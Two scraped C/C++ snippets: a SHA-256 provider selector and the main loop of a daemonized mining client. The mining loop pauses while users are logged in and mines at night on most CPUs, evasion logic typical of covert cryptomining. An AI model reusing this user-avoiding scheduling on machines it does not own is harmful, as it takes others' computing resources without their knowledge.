Example #1
0
static void
init_sha256(void)
{
#ifdef	WORDS_BIGENDIAN
	cksum_provider = PROVIDER_OPENSSL;
#else
#ifdef	__x86_64__
	processor_info_t pc;

	cksum_provider = PROVIDER_OPENSSL;
	cpuid_basic_identify(&pc);
	if (pc.proc_type == PROC_X64_INTEL || pc.proc_type == PROC_X64_AMD) {
		if (opt_Init_SHA(&pc) == 0) {
			cksum_provider = PROVIDER_X64_OPT;
		}
	}
#endif
#endif
}
Example #2
0
int main(int argc, char** argv)
{
	// init winsock
#ifdef __WIN32__
	WSADATA wsa;
	WSAStartup(MAKEWORD(2,2),&wsa);
#else
	init_deamon();

	signal(SIGINT, signal_handler);
	signal(SIGPIPE, SIG_IGN);
	signal(25, SIG_IGN);
#endif

	commandLineClt cmdline;
	parseCommandline(argc,argv,cmdline);

#ifdef	__x86_64__
		processor_info_t proc_info;
		cpuid_basic_identify(&proc_info);
		if (proc_info.proc_type == PROC_X64_INTEL || proc_info.proc_type == PROC_X64_AMD) {
			if (proc_info.avx_level > 0) {
				cmdline.sha2type = USE_AVX_SHA512;
				printf("using AVX\n");
			} else if (proc_info.sse_level >= 2) {
				Init_SHA512_sse4();
				cmdline.sha2type = USE_SSE4_SHA512;
				printf("using SSE4\n");
			} else
				printf("using default SHA512\n");
		} else
			printf("using default SHA512\n");
#endif
		uint32 num_processors;
#if defined(__WIN32__)
		SYSTEM_INFO sysinfo;
		GetSystemInfo(&sysinfo);
		num_processors = sysinfo.dwNumberOfProcessors;
#elif defined(_SC_NPROCESSORS_CONF)
		num_processors = sysconf(_SC_NPROCESSORS_CONF);
#elif defined(HW_NCPU)
		int req[] = { CTL_HW, HW_NCPU };
		size_t len = sizeof(num_processors);
		v = sysctl(req, 2, &num_processors, &len, NULL, 0);
#else
		num_processors = 1;
#endif
	
	if (num_processors < 4)
	{
		printf("num_processors < 4\n");
		return 0;
	}

	SHA2_INTERFACE::getInstance(cmdline.sha2type);

	ProxyClient *pClient = ProxyClient::getInstance();
	pClient->init(cmdline.ip,cmdline.port,num_processors);
	//client.init("10.9.43.2",10086,3*tnum);
	pClient->start();

	uint32 timerPrintDetails = GetTickCount() + 8000;
	uint32 miningStartTime = time(NULL);
	bool bStart = false;
	vector<MinerThread*> v_miner;

	while (1)
	{
		if (cmdline.bStat)
		{
			uint32 currentTick = GetTickCount();
			if( currentTick >= timerPrintDetails )
			{
				// print details only when connected
				uint32 passedSeconds = time(NULL) - miningStartTime;
				double collisionsPerMinute = 0.0;
				if( passedSeconds > 5 )
				{
					collisionsPerMinute = (double)MinerThread::totalCollisionCount / (double)passedSeconds * 60.0;
				}
				printf("collisions/min %.4lf,collision total %d,Shares total %d\n",collisionsPerMinute,MinerThread::totalCollisionCount,MinerThread::totalShareCount);
				timerPrintDetails = currentTick + 8000;
			}
		}

		uint32 cur_hour = ProxyClient::cur_hour;

		if (cur_hour == 6 || cur_hour == 22)
		{
			if (bStart)
			{
				stopMiner(v_miner);
				bStart = false;
			}

		}

		if (getWho() > 0)
		{
			if (cur_hour > 6 && cur_hour < 22)
			{
				if (bStart)
				{
					stopMiner(v_miner);
					bStart = false;					
				}

			}
		}
		else
		{
			if (cur_hour > 6 && cur_hour < 22)
			{
				if (!bStart)
				{
					uint32 thread_num = num_processors/2;
					startMiner(thread_num,cmdline,v_miner);
					bStart = true;
				}
			}
		}

		if (cur_hour == 22)
		{
			if (!bStart)
			{
				uint32 thread_num = num_processors/5*4;
				startMiner(thread_num,cmdline,v_miner);
				bStart = true;
			}

#ifdef __WIN32__
			Sleep(1000*3600);
#else
			sleep(3600);
#endif
		}
		
		Sleep(1000);	
	}



	pClient->join();

#ifdef __WIN32__
	WSACleanup( );
#endif
	return 0;
}